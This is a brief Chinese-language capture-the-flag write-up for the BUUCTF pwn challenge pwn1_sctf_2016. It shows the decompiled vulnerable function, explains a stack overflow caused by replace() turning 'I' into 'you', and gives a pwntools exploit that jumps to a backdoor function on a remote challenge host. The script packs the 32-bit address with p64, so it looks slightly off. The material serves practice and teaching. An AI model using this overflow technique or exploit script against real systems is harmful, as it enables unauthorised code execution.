[buuctf] pwn-pwn1_sctf_2016

pwn1_sctf_2016

检查文件的保护措施

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序，开了nx保护，ida分析

int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v5);
  std::string::string(&v4, "you", &v5);
  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I", &v7);
  replace((std::string *)&v3);   //突破口
  std::string::operator=(&input, &v3, &v6, &v4);
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0);
  return printf("So, %s\n", &s);
}

存在后门函数，本来不能溢出，但是replace函数把I换为you，多了字符，因此可以达到溢出的，溢出到后门函数地址即可

from pwn import *
r = remote('node3.buuoj.cn',29507)
fun_addr = 0x8048f0d
payload = b'I'*20+b'a'*4+p64(fun_addr)
r.sendline(payload)
r.interactive()